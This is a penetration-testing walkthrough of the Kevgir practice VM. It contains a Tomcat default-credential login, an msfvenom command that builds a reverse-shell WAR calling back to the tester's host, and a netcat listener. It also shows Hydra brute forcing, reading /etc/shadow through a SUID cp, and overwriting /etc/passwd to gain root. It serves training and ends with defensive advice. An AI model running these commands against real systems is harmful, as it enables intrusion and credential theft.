Below you will find my walkthrough detailing exactly how I compromised Kevgir. This walkthrough showcases enumeration techniques, password attacks, web application attacks, and a local privilege escalation technique.
Feel free to give this walkthrough a read. If you found a different way of hacking Kevgir I would love to hear about it in the comments.
The pen tester began the engagement by using an nmap discover scan to identify live hosts on the network.
nmap -sn 192.168.239.0/24
The pen tester identified the target at IP 192.168.239.137.
Next, the pen tester utilized nmap to identify the target’s listening applications.
nmap -p- 192.168.239.137
The pen tester took the information from the previous step and constructed an aggressive scan, targeting all identified ports with banner grabbing, OS fingerprinting, and script scanning.
nmap -n -A -p 25,80,111,139,445,1322,2049,6379,8080,8081,9000,42512, 44548,50960,54164,55749,57236,60579 192.168.239.137
The pen tester reviewed the initial data and noticed that many listening services were present. Interestingly, FTP and SSH were found running on ports 25 and 1322 respectively. This underscores the importance of thorough reconnaissance, as a generic nmap scan would have likely missed these findings. The pen tester decided to use this information as the starting point for more thorough target enumeration.Target Enumeration
The pen tester enumerated SMB/tcp 445 with enum4linux.
The pen tester made several significant findings from the enum4linux results. The pen tester identified the target operating system as Ubuntu running Samber 4.1.6. The pen tester also identified three users: admin, root, and user. Lastly, the pen tester identified that the minimum password length for user accounts is set to 5, and password complexity is disabled. These results suggested that the pen tester may achieve remote access via brute force/dictionary attacks. As such, the pen tester prepared Hydra to attack the target’s FTP and SSH services.
Strangely, the ssh brute force/dictionary attack seemed to fail after a few seconds. The pen tester assessed that a lockout mechanism would take effect after too many failed logins. D’oh! The pen tester decided to perform manual guessing at a later time to identify exactly how the lockout is enforced, and see if there were any easily guessable passwords.
With brute force attacks ongoing, the pen tester shifted focus to enumerating the target’s web applications. The pen tester started with nikto.
nikto -h 192.168.239.137 -F htm -output apache_nikto.html
nikto -h 192.168.239.137:8080 -F htm -output 8080apache_nikto.html
The Nikto scans revealed a sensitive find:
“Default account found for ‘Tomcat Manager Application’ at /manager/html (ID ‘tomcat’, PW ‘tomcat’). Apache Tomcat.” http://192.168.239.137:8080/manager/html
Uh oh! It appeared that this instance of Tomcat possesses default credentials: tomcat/tomcat. The pen tester navigated to this URI, logged in with the aforementioned credentials, and then performed another round of information gathering.
The first thing that the pen tester noticed about the Tomcat management interface is that users can upload and deploy WAR files to the Tomcat server. The pen tester assessed that it would be possible to craft a malicious WAR file and have the server execute it; with the correct conditions, he should be able to achieve a shell. To test this theory, the pen tester first crafted a malicious payload using msfvenom, and set up a listener to catch the reverse shell:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.239.129 LPORT=12345 -f war > r_jsp_shell_12345.war
nc -nlvp 12345
The pen tester then uploaded the WAR file (r_jsp_shell_12345.war) through the Tomcat management interface.
Once complete, the pen tester navigated to the following URI using curl. This caused the Tomcat server to execute the reverse shell payload and granted the pen tester initial access. Mwuahaha!
Initial Access Information Gathering
The pen tester then began post-access information gathering to identify a possible privilege escalation method.
During this phase, the pen tester grew dissatisfied with his low functionality shell. The pen tester found python installed on the target’s file system and used it to spawn a tty terminal.
python -c ‘import pty; pty.spawn(“/bin/sh”)’
With a slightly better shell, the pen tester then began searching for possible kernel exploits to escalate privileges.
admin@canyoupwnme:/var/lib/tomcat7$ uname -a
Linux canyoupwnme 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
The pen tester tried two kernel exploits, both of which failed. The pen tester assessed that there was probably a better privilege escalation method to be found elsewhere.
After more rounds of information gathering, the pen tester examined the contents of the /bin directory, and noticed that the copy utility, “cp” had the SUID bit set, meaning that the cp utility ran under the context of root (gasp!). Knowing this, the pen tester copied the contents of the /etc/shadow and the /etc/passwd file to the /tmp directory. The pen tester was then able to successfully open the files and download its contents for offline cracking with John the Ripper.
The pen tester first prepared the files for cracking using unshadow:
unshadow passwd_kevgir.txt shadow_kevgir.txt
The pen tester then launched John the Ripper against the unshadowed file, and immediately received results:
Ouch… Had the pen tester resumed password attacks with hydra, he would have invariably have found these credentials *sigh* such is life. Just the same, the pen tester used SSH to remote into the target with the admin credentials. Next, the pen tester attempted some rudimentary commands, such as su, sudo, and useradd, but the pen tester did not seem to have augmented privileges as he expected. What the eff? However, the pen tester realized that he could likely use the copy utility, cp, to overwrite important system files to potentially escalate privileges. The pen tester assessed that he could possibly use cp to overwrite the /etc/passwd file with a modified /etc/passwd file that listed admin with the user ID of 0. To test this theory, the pen tester used the following commands:
cp /etc/passwd /tmp/passwd
The pen tester then used nano to change the following line
The pen tester then used copy to overwrite the original passwd file:
cp /tmp/passwd /etc/passwd
The pen tester found that this change resulted in system instability; the admin user could no longer login via ssh or perform commands such as id, su, etc. However, this was expected, as the /etc/passwd file was not modified in a graceful manner. The pen tester terminated the SSH connection in order to set the conditions for a switch user command. Since the pen tester could no longer login via ssh, the pen tester prepared another netcat listener, and re-deployed the Tomcat/WAR exploit payload using the same method for gaining initial access.
The pen tester received his shell as expected, and used the switch user command to switch to admin:
After entering the password, switch user completed and the pen tester was once again admin. The pen tester executed id and found he had root privileges. The pen tester now had total control over Kevgir and its associated services. Mwuahaha!
Kevgir is not significantly difficult; however, pen testers will experience significant challenges if they do not thoroughly enumerate their target and pay attention to detail.
Kevgir was atypical in that it was running FTP and SSH on non-traditional ports. While this may obfuscate attacks from a script kiddie, it does nothing to stop a competent hacker. Also, subtle misconfigurations such as root SUID on system binaries are very easy to overlook, yet, when found, can result in total compromise of the system, as was the case with the cp program. To safeguard against these attacks in the future, the pen tester recommends that administrators always be weary of default installations and change default passwords. For that matter, users must exercise password discipline, as weak passwords are trivially cracked by tools such as Hydra. Lastly, sysadmins should periodically check for SUID binaries on their systems, as you never know how an attacker can abuse them to bring down your system.
Overall this was a great challenge. I recognize that I have not found all of the attack vectors, but just the same, I am looking forward to seeing other people’s solutions.
Thanks to canyoupwn.me for the enjoyable challenge.